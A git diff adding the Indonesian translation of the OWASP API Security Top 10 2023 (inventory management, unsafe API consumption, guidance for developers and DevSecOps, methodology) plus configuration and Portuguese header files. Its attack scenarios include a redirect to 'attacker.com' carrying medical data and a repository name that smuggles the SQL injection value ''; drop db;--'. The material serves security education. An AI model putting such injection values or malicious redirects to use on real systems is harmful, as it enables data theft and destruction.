diharapkan diakses dari klien berbasis browser (misalnya, front-end WebApp) harus setidaknya: + * mengimplementasikan kebijakan Cross-Origin Resource Sharing (CORS) yang tepat + * menyertakan Header Keamanan yang berlaku +* Batasi jenis konten/format data masuk hanya pada yang memenuhi persyaratan bisnis/fungsional. +* Pastikan semua server dalam rantai server HTTP (misalnya, load balancer, reverse and forward proxy, serta server backend) memproses permintaan masuk dengan cara yang seragam untuk menghindari masalah desinkronisasi. +* Jika memungkinkan, tentukan dan tegakkan semua skema muatan respons API, termasuk respons kesalahan, untuk mencegah pengecualian jejak dan informasi berharga lainnya dikirimkan kembali kepada pelaku serangan. + +## Referensi + +### OWASP + +* [Proyek OWASP Secure Headers][1] +* [Pengujian Konfigurasi dan Manajemen Implementasi - Panduan Pengujian Keamanan Web Guide][2] +* [Pengujian Penanganan Kesalahan - Panduan Pengujian Keamanan Web][3] +* [Pengujian Cross Site Request Forgery - Panduan Pengujian Keamanan Web][4] + +### Eksternal + +* [CWE-2: Kelemahan Keamanan Lingkungan][5] +* [CWE-16: Konfigurasi][6] +* [CWE-209: Pembuatan Pesan Kesalahan yang Mengandung Informasi Sensitif][7] +* [CWE-319: Pengiriman Teks Terbuka Informasi Sensitif][8] +* [CWE-388: Penanganan Kesalahan][9] +* [CWE-444: Interpretasi Tidak Konsisten Permintaan HTTP ('HTTP Request/Response Smuggling')][10] +* [CWE-942: Kebijakan Lintas Domain yang Permissif dengan Domain yang Tidak Terpercaya][11] +* [Panduan Keamanan Umum Server][12], NIST +* [Let's Encrypt: Otoritas Sertifikat Gratis, Otomatis, dan Terbuka][13] + +[1]: https://owasp.org/www-project-secure-headers/ +[2]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/02-Configuration_and_Deployment_Management_Testing/README +[3]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/08-Testing_for_Error_Handling/README +[4]: https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management_Testing/05-Testing_for_Cross_Site_Request_Forgery +[5]: https://cwe.mitre.org/data/definitions/2.html +[6]: https://cwe.mitre.org/data/definitions/16.html +[7]: https://cwe.mitre.org/data/definitions/209.html +[8]: https://cwe.mitre.org/data/definitions/319.html +[9]: https://cwe.mitre.org/data/definitions/388.html +[10]: https://cwe.mitre.org/data/definitions/444.html +[11]: https://cwe.mitre.org/data/definitions/942.html +[12]: https://csrc.nist.gov/publications/detail/sp/800-123/final +[13]: https://letsencrypt.org/ diff --git a/editions/2023/id/0xa9-improper-inventory-management.md b/editions/2023/id/0xa9-improper-inventory-management.md new file mode 100644 index 000000000..78a6208a0 --- /dev/null +++ b/editions/2023/id/0xa9-improper-inventory-management.md @@ -0,0 +1,88 @@ +# API9:2023 Pengelolaan Inventaris yang Tidak Tepat + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API : Kemungkinan Dieksploitasi **Mudah** | Prevalensi **Luas** : Kemungkinan Dideteksi **Sedang** | Teknis **Sedang** : Khusus Bisnis | +| Agen ancaman biasanya mendapatkan akses tidak sah melalui versi API lama atau endpoint yang tidak diperbaiki dan menggunakan persyaratan keamanan yang lebih lemah. Dalam beberapa kasus, eksploitasi tersedia. Atau, mereka mungkin mendapatkan akses ke data sensitif melalui pihak ketiga yang tidak ada alasan untuk berbagi data dengannya. | Dokumentasi yang sudah kadaluarsa membuat lebih sulit untuk menemukan dan/atau memperbaiki kerentanan. Ketidakadaan inventaris aset dan strategi pensiun mengakibatkan sistem yang tidak diperbaiki, yang mengakibatkan kebocoran data sensitif. Sangat umum untuk menemukan host API yang terpapar secara tidak perlu karena konsep modern seperti mikro layanan, yang membuat aplikasi mudah untuk dideploy dan mandiri (misalnya, komputasi awan, K8S). Cukup dengan Google Dorking, enumerasi DNS, atau menggunakan mesin pencari khusus untuk berbagai jenis server (webcam, router, server, dll.) yang terhubung ke internet akan cukup untuk menemukan target. | Penyerang dapat memperoleh akses ke data sensitif, atau bahkan mengambil alih server. Terkadang berbagai versi/deployment API terhubung ke database yang sama dengan data nyata. Agen ancaman dapat mengeksploitasi endpoint yang sudah tidak digunakan yang tersedia dalam versi API lama untuk mendapatkan akses ke fungsi administratif atau mengeksploitasi kerentanan yang sudah dikenal. | + +## Apakah API Rentan? + +Sifat API dan aplikasi modern yang tersebar dan terhubung membawa tantangan baru. Penting bagi organisasi untuk tidak hanya memiliki pemahaman yang baik dan visibilitas terhadap API dan endpoint API mereka sendiri, tetapi juga bagaimana API menyimpan atau berbagi data dengan pihak ketiga eksternal. + +Menjalankan beberapa versi API memerlukan sumber daya manajemen tambahan +dari penyedia API dan memperluas permukaan serangan. + +Sebuah API memiliki "blindspot dokumentasi" jika: + +* Tujuan host API tidak jelas, dan tidak ada jawaban eksplisit untuk + pertanyaan-pertanyaan berikut + * Lingkungan mana yang digunakan API (misalnya, produksi, staging, tes, + pengembangan)? + * Siapa yang seharusnya memiliki akses jaringan ke API (misalnya, publik, internal, mitra)? + * Versi API mana yang sedang berjalan? +* Tidak ada dokumentasi atau dokumentasi yang ada tidak diperbarui. +* Tidak ada rencana pensiun untuk setiap versi API. +* Inventaris host hilang atau sudah kadaluarsa. + +Visibilitas dan inventaris aliran data sensitif memainkan peran penting sebagai +bagian dari rencana respons insiden, jika terjadi pelanggaran di sisi pihak ketiga. + +Sebuah API memiliki "blindspot aliran data" jika: + +* Ada "aliran data sensitif" di mana API berbagi data sensitif dengan pihak ketiga dan + * Tidak ada justifikasi bisnis atau persetujuan atas aliran tersebut + * Tidak ada inventaris atau visibilitas aliran tersebut + * Tidak ada visibilitas mendalam tentang jenis data sensitif yang dibagikan + + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah jaringan sosial mengimplementasikan mekanisme pembatasan laju yang menghalangi penyerang +menggunakan metode brute force untuk menebak token reset kata sandi. Mekanisme ini tidak +diimplementasikan sebagai bagian dari kode API itu sendiri tetapi di komponen terpisah antara +klien dan API resmi (`api.socialnetwork.owasp.org`). Seorang peneliti menemukan host API beta +(`beta.api.socialnetwork.owasp.org`) yang menjalankan API yang sama, termasuk mekanisme reset kata sandi, +tetapi mekanisme pembatasan laju tidak ada. Peneliti tersebut berhasil mereset kata sandi +pengguna dengan menebak token 6 digit menggunakan brute force. + +### Skenario #2 + +Sebuah jaringan sosial memungkinkan pengembang aplikasi independen untuk mengintegrasikan dengan +mereka. Sebagai bagian dari proses ini, izin diminta dari pengguna akhir, sehingga jaringan sosial +dapat berbagi informasi pribadi pengguna dengan aplikasi independen. + +Aliran data antara jaringan sosial dan aplikasi independen tidak cukup dibatasi atau dimonitor, +memungkinkan aplikasi independen untuk mengakses tidak hanya +informasi pengguna tetapi juga informasi pribadi dari semua teman mereka. + +Sebuah firma konsultan membangun aplikasi berbahaya dan berhasil mendapatkan izin dari +270.000 pengguna. Karena kelemahan ini, firma konsultan berhasil mengakses +informasi pribadi dari 50.000.000 pengguna. Kemudian, firma konsultan +menjual informasi tersebut untuk tujuan berbahaya. + +## Cara Mencegah + +* Inventarisasi semua host API dan dokumentasikan aspek penting dari masing-masing di + antaranya, berfokus pada lingkungan API (misalnya, produksi, staging, tes, pengembangan), siapa yang + seharusnya memiliki akses jaringan ke host (misalnya, publik, internal, mitra) dan versi API. +* Inventarisasi layanan terintegrasi dan dokumentasikan aspek penting seperti peran mereka + dalam sistem, data apa yang dipertukarkan (aliran data), dan sensitivitasnya. +* Dokumentasikan semua aspek API Anda seperti otentikasi, kesalahan, pengalihan, pembatasan laju, + kebijakan berbagi sumber daya lintas asal (CORS), dan endpoint, termasuk parameter, permintaan, dan tanggapan. +* Hasilkan dokumentasi secara otomatis dengan mengadopsi standar terbuka. Sertakan pembangunan dokumentasi dalam jalur CI/CD Anda. +* Buat dokumentasi API hanya tersedia bagi mereka yang berwenang untuk menggunakan API. +* Gunakan langkah-langkah perlindungan eksternal seperti solusi keamanan API yang spesifik untuk semua versi API Anda yang terpapar, tidak hanya untuk versi produksi saat ini. +* Hindari menggunakan data produksi dengan implementasi API non-produksi. Jika hal ini tidak dapat dihindari, endpoint ini harus mendapatkan perlakuan keamanan yang sama dengan endpoint produksi. +* Ketika versi API yang lebih baru mencakup perbaikan keamanan, lakukan analisis risiko untuk + memberi tahu tindakan mitigasi yang diperlukan untuk versi lama. Misalnya, apakah memungkinkan untuk melakukan backport perbaikan tanpa merusak kompatibilitas API atau apakah Anda perlu segera menghapus versi lama dan memaksa semua klien beralih ke versi terbaru. + + +## Referensi + +### Eksternal + +* [CWE-1059: Dokumentasi yang Tidak Lengkap][1] + +[1]: https://cwe.mitre.org/data/definitions/1059.html \ No newline at end of file diff --git a/editions/2023/id/0xaa-unsafe-consumption-of-apis.md b/editions/2023/id/0xaa-unsafe-consumption-of-apis.md new file mode 100644 index 000000000..b0ab89867 --- /dev/null +++ b/editions/2023/id/0xaa-unsafe-consumption-of-apis.md @@ -0,0 +1,89 @@ +# API10:2023 Konsumsi API yang Tidak Aman + +| Agen Ancaman/Vektor Serangan | Kelemahan Keamanan | Dampak | +| - | - | - | +| Khusus API : Kemungkinan Dieksploitasi **Mudah** | Prevalensi **Umum** : Kemungkinan Dideteksi **Sedang** | Teknis **Serius** : Khusus Bisnis | +| Penyerang perlu mengidentifikasi dan mungkin mengkompromikan API/Layanan lain yang terintegrasi dengan API target untuk mengeksploitasi masalah ini. Biasanya, informasi ini tidak tersedia secara publik atau API/layanan yang terintegrasi tidak mudah dieksploitasi. | Para pengembang cenderung percaya dan tidak memverifikasi endpoint yang berinteraksi dengan API eksternal atau pihak ketiga, mengandalkan persyaratan keamanan yang lebih lemah seperti yang berkaitan dengan keamanan transportasi, otentikasi/otorisasi, dan validasi serta sanitasi input. Penyerang perlu mengidentifikasi layanan yang terintegrasi dengan API target (sumber data) dan, akhirnya, mengkompromikannya. | Dampaknya bervariasi sesuai dengan apa yang dilakukan API target dengan data yang diambil. Eksploitasi yang berhasil dapat menyebabkan paparan informasi sensitif kepada aktor yang tidak diotorisasi, banyak jenis injeksi, atau penolakan layanan. | + +## Apakah API Rentan? + +Pengembang cenderung lebih percaya data yang diterima dari API pihak ketiga daripada masukan pengguna. Hal ini terutama berlaku untuk API yang ditawarkan oleh perusahaan-perusahaan terkemuka. Karena itu, pengembang cenderung mengadopsi standar keamanan yang lebih lemah, misalnya dalam hal validasi dan sanitasi input. + +API mungkin rentan jika: + +* Berinteraksi dengan API lain melalui saluran yang tidak terenkripsi; +* Tidak memvalidasi dan menyaring data yang dikumpulkan dari API lain sebelum + memprosesnya atau melewatkan data tersebut ke komponen yang lebih rendah; +* Mengikuti pengalihan tanpa pertimbangan; +* Tidak membatasi jumlah sumber daya yang tersedia untuk memproses respons layanan pihak ketiga; +* Tidak mengimplementasikan batas waktu untuk interaksi dengan layanan pihak ketiga; + +## Contoh Skenario Serangan + +### Skenario #1 + +Sebuah API mengandalkan layanan pihak ketiga untuk memperkaya alamat bisnis yang diberikan oleh pengguna akhir. Ketika alamat diberikan kepada API oleh pengguna akhir, alamat tersebut dikirim ke layanan pihak ketiga dan data yang dikembalikan kemudian disimpan dalam database lokal yang mendukung SQL. + +Aktor jahat menggunakan layanan pihak ketiga untuk menyimpan muatan SQLi yang terkait dengan bisnis yang dibuat oleh mereka. Kemudian mereka menyerang API yang rentan dengan memberikan masukan khusus yang membuatnya menarik "bisnis berbahaya" mereka dari layanan pihak ketiga. Muatan SQLi akhirnya dieksekusi oleh database, mengirimkan data ke server yang dikendalikan oleh penyerang. + +### Skenario #2 + +Sebuah API terintegrasi dengan penyedia layanan pihak ketiga untuk menyimpan secara aman informasi medis sensitif pengguna. Data dikirim melalui koneksi aman menggunakan permintaan HTTP seperti di bawah ini: + +``` +POST /user/store_phr_record +{ + "genome": "ACTAGTAG__TTGADDAAIICCTT…" +} +``` + +Aktor jahat menemukan cara untuk mengkompromikan API pihak ketiga dan mulai memberikan respons `308 Permanent Redirect` untuk permintaan seperti di atas. + +``` +HTTP/1.1 308 Permanent Redirect +Location: https://attacker.com/ +``` + +Karena API mengikuti pengalihan dari layanan pihak ketiga tanpa mempertimbangkannya, ia akan mengirimkan permintaan yang sama persis termasuk data sensitif pengguna, namun kali ini ke server penyerang. + +### Skenario #3 + +Seorang penyerang dapat menyiapkan repositori git yang diberi nama `'; drop db;--`. + +Sekarang, ketika integrasi dari aplikasi yang diserang dilakukan dengan repositori jahat ini, muatan injeksi SQL digunakan pada aplikasi yang membangun kueri SQL yang percaya bahwa nama repositori adalah masukan yang aman. + +## Cara Mencegah + +* Saat mengevaluasi penyedia layanan, nilai postur keamanan API mereka. +* Pastikan semua interaksi API terjadi melalui saluran komunikasi yang aman (TLS). +* Selalu validasi dan lakukan sanitasi data yang diterima dari API terintegrasi sebelum menggunakannya. +* Pelihara daftar whitelist lokasi yang dikenal API terintegrasi yang dapat mengalihkan + permintaan Anda: jangan mengikuti pengalihan tanpa pertimbangan. + + +## Referensi + +### OWASP + +* [Cheat Sheet Keamanan Layanan Web][1] +* [Kekurangan Injeksi][2] +* [Cheat Sheet Validasi Input][3] +* [Cheat Sheet Pencegahan Injeksi][4] +* [Cheat Sheet Perlindungan Lapisan Transport][5] +* [Cheat Sheet Pengalihan dan Pengalihan Tanpa Validasi][6] + +### Eksternal + +* [CWE-20: Validasi Input yang Tidak Tepat][7] +* [CWE-200: Paparan Informasi Sensitif kepada Aktor yang Tidak Diotorisasi][8] +* [CWE-319: Pengiriman Teks Terbuka Informasi Sensitif][9] + +[1]: https://cheatsheetseries.owasp.org/cheatsheets/Web_Service_Security_Cheat_Sheet.html +[2]: https://www.owasp.org/index.php/Injection_Flaws +[3]: https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html +[4]: https://cheatsheetseries.owasp.org/cheatsheets/Injection_Prevention_Cheat_Sheet.html +[5]: https://cheatsheetseries.owasp.org/cheatsheets/Transport_Layer_Protection_Cheat_Sheet.html +[6]: https://cheatsheetseries.owasp.org/cheatsheets/Unvalidated_Redirects_and_Forwards_Cheat_Sheet.html +[7]: https://cwe.mitre.org/data/definitions/20.html +[8]: https://cwe.mitre.org/data/definitions/200.html +[9]: https://cwe.mitre.org/data/definitions/319.html \ No newline at end of file diff --git a/editions/2023/id/0xb0-next-devs.md b/editions/2023/id/0xb0-next-devs.md new file mode 100644 index 000000000..8b9e200e7 --- /dev/null +++ b/editions/2023/id/0xb0-next-devs.md @@ -0,0 +1,32 @@ +# Apa Selanjutnya untuk Pengembang + +Tugas untuk membuat dan memelihara aplikasi yang aman, atau memperbaiki aplikasi yang sudah ada, bisa menjadi sulit. Ini tidak berbeda untuk API. + +Kami percaya bahwa pendidikan dan kesadaran adalah faktor kunci dalam menulis perangkat lunak yang aman. Semua yang diperlukan untuk mencapai tujuan ini bergantung pada **mendirikan dan menggunakan proses keamanan yang dapat diulang serta kendali keamanan standar**. + +OWASP menyediakan banyak sumber daya gratis dan terbuka untuk membantu Anda mengatasi masalah keamanan. Silakan kunjungi [halaman Proyek OWASP][1] untuk daftar komprehensif proyek yang tersedia. + +| | | +|-|-| +| **Pendidikan** | [Pemandu Keamanan Aplikasi][2] seharusnya memberi Anda gambaran baik tentang proyek-proyek yang tersedia untuk setiap tahap/fase Siklus Hidup Pengembangan Perangkat Lunak (SDLC). Untuk pembelajaran/latihan langsung, Anda dapat memulainya dengan [OWASP **crAPI** - **C**ompletely **R**idiculous **API**][3] atau [OWASP Juice Shop][4]: keduanya memiliki API yang rentan secara disengaja. [Proyek Direktori Aplikasi Web Rentan OWASP][5] menyediakan daftar aplikasi yang rentan secara disengaja: Anda akan menemukan beberapa API rentan lainnya di sana. Anda juga dapat menghadiri sesi pelatihan [Konferensi OWASP AppSec][6], atau [bergabung dengan cabang lokal Anda][7]. | +| **Persyaratan Keamanan** | Keamanan seharusnya menjadi bagian setiap proyek sejak awal. Ketika mendefinisikan persyaratan, penting untuk mendefinisikan apa arti "aman" untuk proyek tersebut. OWASP merekomendasikan Anda menggunakan [Standar Verifikasi Keamanan Aplikasi OWASP (ASVS)][8] sebagai panduan untuk menetapkan persyaratan keamanan. Jika Anda mengalihdayakan, pertimbangkan [Lampiran Kontrak Perangkat Lunak Aman OWASP][9], yang harus disesuaikan sesuai dengan hukum dan regulasi setempat. | +| **Arsitektur Keamanan** | Keamanan seharusnya tetap menjadi perhatian selama semua tahapan proyek. [Seri Contekan OWASP][10] adalah titik awal yang baik untuk panduan tentang bagaimana mendesain keamanan selama fase arsitektur. Di antara banyak lainnya, Anda akan menemukan [Contekan Keamanan REST][11] dan [Contekan Penilaian REST][12], serta [Contekan GraphQL][13]. | +| **Kendali Keamanan Standar** | Mengadopsi kendali keamanan standar mengurangi risiko memasukkan kelemahan keamanan saat menulis logika Anda sendiri. Meskipun banyak kerangka kerja modern sekarang dilengkapi dengan kendali standar yang efektif, [Kendali Proaktif OWASP][14] memberikan pandangan yang baik tentang kendali keamanan apa yang seharusnya Anda sertakan dalam proyek Anda. OWASP juga menyediakan beberapa perpustakaan dan alat yang mungkin Anda temukan berguna, seperti kendali validasi. | +| **Siklus Hidup Pengembangan Perangkat Lunak Aman** | Anda dapat menggunakan [Model Kematangan Jaminan Perangkat Lunak OWASP (SAMM)][15] untuk meningkatkan proses pembuatan API Anda. Beberapa proyek OWASP lainnya tersedia untuk membantu Anda dalam berbagai tahap pengembangan API, misalnya, [Panduan Tinjauan Kode OWASP][16]. | + +[1]: https://owasp.org/projects/ +[2]: https://owasp.org/projects/#owasp-projects-the-sdlc-and-the-security-wayfinder +[3]: https://owasp.org/www-project-crapi/ +[4]: https://owasp.org/www-project-juice-shop/ +[5]: https://owasp.org/www-project-vulnerable-web-applications-directory/ +[6]: https://owasp.org/events/ +[7]: https://owasp.org/chapters/ +[8]: https://owasp.org/www-project-application-security-verification-standard/ +[9]: https://owasp.org/www-community/OWASP_Secure_Software_Contract_Annex +[10]: https://cheatsheetseries.owasp.org/ +[11]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Security_Cheat_Sheet.html +[12]: https://cheatsheetseries.owasp.org/cheatsheets/REST_Assessment_Cheat_Sheet.html +[13]: https://cheatsheetseries.owasp.org/cheatsheets/GraphQL_Cheat_Sheet.html +[14]: https://owasp.org/www-project-proactive-controls/ +[15]: https://owasp.org/www-project-samm/ +[16]: https://owasp.org/www-project-code-review-guide/ \ No newline at end of file diff --git a/editions/2023/id/0xb1-next-devsecops.md b/editions/2023/id/0xb1-next-devsecops.md new file mode 100644 index 000000000..3e0c1a95a --- /dev/null +++ b/editions/2023/id/0xb1-next-devsecops.md @@ -0,0 +1,23 @@ +# Apa Selanjutnya untuk DevSecOps + +Karena pentingnya mereka dalam arsitektur aplikasi modern, membangun API yang aman adalah suatu keharusan. Keamanan tidak boleh diabaikan, dan itu harus menjadi bagian dari seluruh siklus pengembangan. Pemindaian dan pengujian penetrasi setahun sekali tidak lagi cukup. + +DevSecOps harus bergabung dengan upaya pengembangan, memfasilitasi pengujian keamanan berkelanjutan di seluruh siklus pengembangan perangkat lunak. Tujuan Anda harus meningkatkan jalur pengembangan dengan otomatisasi keamanan, tanpa mempengaruhi kecepatan pengembangan. + +Jika ragu, tetap terinformasi, dan lihat [Manifesto DevSecOps][1]. + +| | | +|-|-| +| **Mengerti Model Ancaman** | Prioritas pengujian berasal dari model ancaman. Jika Anda belum memilikinya, pertimbangkan untuk menggunakan [Standar Verifikasi Keamanan Aplikasi OWASP (ASVS)][2], dan [Panduan Pengujian OWASP][3] sebagai masukan. Melibatkan tim pengembangan akan membantu membuat mereka lebih sadar akan keamanan. | +| **Mengerti SDLC** | Bergabunglah dengan tim pengembangan untuk lebih memahami Siklus Hidup Pengembangan Perangkat Lunak. Kontribusi Anda pada pengujian keamanan berkelanjutan harus sesuai dengan orang, proses, dan alat. Semua orang harus setuju dengan proses tersebut, sehingga tidak ada gesekan atau resistensi yang tidak perlu. | +| **Strategi Pengujian** | Karena pekerjaan Anda tidak boleh mempengaruhi kecepatan pengembangan, Anda harus bijak memilih teknik terbaik (sederhana, cepat, paling akurat) untuk memverifikasi persyaratan keamanan. [Kerangka Pengetahuan Keamanan OWASP][4] dan [Standar Verifikasi Keamanan Aplikasi OWASP][2] dapat menjadi sumber terbaik persyaratan keamanan fungsional dan non-fungsional. Terdapat sumber-sumber bagus lainnya untuk [proyek][5] dan [alat][6] yang serupa dengan yang ditawarkan oleh [komunitas DevSecOps][7]. | +| **Mencapai Cakupan dan Akurasi** | Anda adalah jembatan antara tim pengembangan dan tim operasi. Untuk mencapai cakupan, Anda harus fokus tidak hanya pada fungsionalitas, tetapi juga orkestrasi. Bekerja erat dengan tim pengembangan dan operasi sejak awal sehingga Anda dapat mengoptimalkan waktu dan usaha Anda. Anda harus bertujuan untuk mencapai suatu tahap ketika keamanan esensial diverifikasi secara berkelanjutan. | +| **Komunikasikan Temuan dengan Jelas** | Memberikan nilai dengan sedikit atau tanpa gesekan. Sampaikan temuan dengan tepat waktu, dalam alat yang digunakan tim pengembangan (bukan file PDF). Bergabung dengan tim pengembangan untuk mengatasi temuan. Manfaatkan kesempatan ini untuk memberi mereka pendidikan, jelaskan kelemahan dan bagaimana kelemahan bisa disalahgunakan, termasuk skenario serangan untuk membuatnya nyata. | + +[1]: https://www.devsecops.org/ +[2]: https://owasp.org/www-project-application-security-verification-standard/ +[3]: https://owasp.org/www-project-web-security-testing-guide/ +[4]: https://owasp.org/www-project-security-knowledge-framework/ +[5]: http://devsecops.github.io/ +[6]: https://github.com/devsecops/awesome-devsecops +[7]: http://devsecops.org \ No newline at end of file diff --git a/editions/2023/id/0xd0-about-data.md b/editions/2023/id/0xd0-about-data.md new file mode 100644 index 000000000..dce0a3e94 --- /dev/null +++ b/editions/2023/id/0xd0-about-data.md @@ -0,0 +1,39 @@ +# Metodologi dan Data + +## Ringkasan + +Untuk pembaruan daftar ini, tim Keamanan API OWASP menggunakan metodologi yang sama dengan yang digunakan untuk daftar tahun 2019 yang sukses dan banyak diadopsi, dengan tambahan [Panggilan Data Publik][1] selama 3 bulan. Sayangnya, panggilan data ini tidak menghasilkan data yang memungkinkan analisis statistik yang relevan mengenai masalah keamanan API yang paling umum. + +Namun, dengan industri keamanan API yang lebih matang dan mampu memberikan umpan balik dan wawasan langsung, proses pembaruan terus berlanjut dengan menggunakan metodologi yang sama seperti sebelumnya. + +Sampai di sini, kami percaya bahwa kami telah memiliki dokumen kesadaran yang fokus ke depan untuk tiga atau empat tahun mendatang, yang lebih berfokus pada masalah khusus API modern. Tujuan dari proyek ini bukanlah menggantikan daftar 10 besar lainnya, tetapi sebaliknya untuk menangani risiko keamanan API teratas yang ada dan yang akan datang, yang menurut kami harus diperhatikan oleh industri. + +## Metodologi + +Dalam fase pertama, data yang tersedia secara publik tentang insiden keamanan API dikumpulkan, ditinjau, dan dikategorikan. Data tersebut dikumpulkan dari platform bug bounty dan laporan yang tersedia secara publik. Hanya masalah yang dilaporkan antara 2019 dan 2022 yang dipertimbangkan. Data ini digunakan untuk memberikan gambaran pada tim mengenai ke arah mana daftar 10 besar sebelumnya seharusnya berkembang serta membantu mengatasi bias atas data yang disumbangkan. + +[Panggilan Data Publik][1] berjalan mulai dari 1 September hingga 30 November 2022. Secara paralel, tim proyek mulai mendiskusikan apa yang telah berubah sejak 2019. Diskusi tersebut mencakup dampak dari daftar sebelumnya, umpan balik yang diterima dari komunitas, dan tren baru dalam keamanan API. + +Tim proyek mempromosikan pertemuan dengan spesialis tentang ancaman keamanan API yang relevan untuk mendapatkan wawasan tentang bagaimana korban terpengaruh dan bagaimana ancaman-ancaman tersebut dapat diatasi. + +Upaya ini menghasilkan draf awal tentang apa yang tim percayai sebagai sepuluh risiko keamanan API yang paling kritis. [Metodologi Penilaian Risiko OWASP][2] digunakan untuk melakukan analisis risiko. Peringkat prevalensi diputuskan dari konsensus di antara anggota tim proyek, berdasarkan pengalaman mereka di lapangan. Untuk pertimbangan-pertimbangan tentang masalah ini, silakan lihat bagian [Risiko Keamanan API][3]. + +Draf awal kemudian dibagikan untuk ditinjau oleh praktisi keamanan dengan pengalaman relevan di bidang keamanan API. Komentar mereka ditinjau, didiskusikan, dan jika berlaku, dimasukkan dalam dokumen. Dokumen yang dihasilkan [dipublikasikan sebagai Calon Rilis][4] untuk [diskusi terbuka][5]. Beberapa [kontribusi komunitas][6] dimasukkan ke dalam dokumen final. + +Daftar kontributor tersedia dalam bagian [Ucapan Terimakasih][7]. + +## Risiko Khusus API + +Daftar ini dibangun untuk mengatasi risiko keamanan yang lebih spesifik untuk API. + +Hal ini tidak berarti bahwa risiko keamanan aplikasi generik lainnya tidak ada dalam aplikasi berbasis API. Sebagai contoh, kami tidak memasukkan risiko seperti "Komponen yang Rentan dan Sudah Ketinggalan Zaman" atau "Injection", meskipun Anda mungkin menemukannya dalam aplikasi berbasis API. Risiko-risiko ini bersifat generik, mereka tidak berperilaku berbeda dalam API, dan eksploitasi mereka juga tidak berbeda. + +Tujuan kami adalah meningkatkan kesadaran tentang risiko keamanan yang memerlukan perhatian khusus dalam API. + +[1]: https://owasp.org/www-project-api-security/announcements/cfd/2022/ +[2]: https://www.owasp.org/index.php/OWASP_Risk_Rating_Methodology +[3]: ./0x10-api-security-risks.md +[4]: https://owasp.org/www-project-api-security/announcements/2023/02/api-top10-2023rc +[5]: https://github.com/OWASP/API-Security/issues?q=is%3Aissue+label%3A2023RC +[6]: https://github.com/OWASP/API-Security/pulls?q=is%3Apr+label%3A2023RC +[7]: ./0xd1-acknowledgments.md diff --git a/editions/2023/id/0xd1-acknowledgments.md b/editions/2023/id/0xd1-acknowledgments.md new file mode 100644 index 000000000..f9ca12f81 --- /dev/null +++ b/editions/2023/id/0xd1-acknowledgments.md @@ -0,0 +1,12 @@ +# Ucapan Terima Kasih + +## Ucapan Terima Kasih kepada Kontributor + +Kami ingin mengucapakn terima kasih kepada kontributor berikut ini yang telah berkontribusi secara terbuka melalui GitHub, atau melalui cara lainnya: + +247arjun, abunuwas, Alissa Knight, Arik Atar, aymenfurter, Corey J. Ball, cyn8, +d0znpp, Dan Gordon, donge, Dor Tumarkin, faizzaidi, gavjl, guybensimhon, Inês +Martins, Isabelle Mauny, Ivan Novikov, jmanico, Juan Pablo, k7jto, LaurentCB, +llegaz, Maxim Zavodchik, MrPRogers, planetlevel, rahulk22, Roey Eliyahu, Roshan +Piyush, securitylevelup, sudeshgadewar123, Tatsuya-hasegawa, tebbers, vanderaj, +wenz, xplo1t-sec, Yaniv Balmas, ynvb diff --git a/editions/2023/id/images/cover.jpg b/editions/2023/id/images/cover.jpg new file mode 100644 index 000000000..db6e87f8d Binary files /dev/null and b/editions/2023/id/images/cover.jpg differ diff --git a/editions/2023/id/images/front-cc.png b/editions/2023/id/images/front-cc.png new file mode 100644 index 000000000..45f139804 Binary files /dev/null and b/editions/2023/id/images/front-cc.png differ diff --git a/editions/2023/id/images/front-wasp.png b/editions/2023/id/images/front-wasp.png new file mode 100644 index 000000000..5a163dd4b Binary files /dev/null and b/editions/2023/id/images/front-wasp.png differ diff --git a/editions/2023/id/images/license.png b/editions/2023/id/images/license.png new file mode 100644 index 000000000..124d3ba4d Binary files /dev/null and b/editions/2023/id/images/license.png differ diff --git a/editions/2023/id/images/owasp-logo.png b/editions/2023/id/images/owasp-logo.png new file mode 100644 index 000000000..b0af38b27 Binary files /dev/null and b/editions/2023/id/images/owasp-logo.png differ diff --git a/editions/2023/mkdocs.yml b/editions/2023/mkdocs.yml index 98a46f03a..c8126cb85 100644 --- a/editions/2023/mkdocs.yml +++ b/editions/2023/mkdocs.yml @@ -3,5 +3,13 @@ docs_dir: . extra: alternate: + - name: Bahasa (Indonesian) + lang: id - name: English lang: en + - name: Français + lang: fr + - name: Persian + lang: fa + - name: Português (Portugal) + lang: pt-pt diff --git a/editions/2023/pt-pt/0x00-header.md b/editions/2023/pt-pt/0x00-header.md new file mode 100644 index 000000000..2b26af67e --- /dev/null +++ b/editions/2023/pt-pt/0x00-header.md @@ -0,0 +1,14 @@ +--- +title: '' +description: OWASP API Security Top 10 2023 +--- + +![OWASP LOGO](images/cover.jpg) + +| | | | +| - | - | - | +| https://owasp.org | Distribuído ao abrigo da licença [Creative Commons Attribution-ShareAlike 4.0 International License][1] | ![Creative Commons License Logo](images/front-cc.png) | + +[1]: http://creativecommons.org/licenses/by-sa/4.0/ + + diff --git a/editions/2023/pt-pt/0x00-notice.md b/editions/2023/pt-pt/0x00-notice.md new file mode 100644 index 000000000..70f915752 --- /dev/null +++ b/editions/2023/pt-pt/0x00-notice.md @@ -0,0 +1,14 @@ +# Nota + +Esta é a versão de texto do OWASP API Security Top 10, usada como fonte para +quaisquer versões oficiais deste documento como por exemplo o website. + +Contribuições para o projeto tais como comentários, correções ou traduções devem +ser feitas aqui. Para mais detalhes sobre [Como Contribuir][1], por favor +consulte a secção [CONTRIBUTING.md][1]. + +* Erez Yallon +* Inon Shkedy +* Paulo Silva + +[1]: ../../../CONTRIBUTING.md diff --git a/editions/2023/pt-pt/0x00-toc.md b/editions/2023/pt-pt/0x00-toc.md new file mode 100644 index 000000000..0805d5232 --- /dev/null +++ b/editions/2023/pt-pt/0x00-toc.md @@ -0,0 +1,23 @@ +# Tabela de Conteúdos + +* [Tabela de Conteúdos](0x00-toc.md) +* [Sobre a OWASP](0x01-about-owasp.md) +* [Prefácio](0x02-foreword.md) +* [Introdução](0x03-introduction.md) +* [Notas da Versão](0x04-release-notes.md) +* [Riscos de Segurança em APIs](0x10-api-security-risks.md) +* [OWASP Top 10 API Security Risks – 2023](0x11-t10.md) +* [API1:2023 Broken Object Level Authorization](0xa1-broken-object-level-authorization.md) +* [API2:2023 Broken 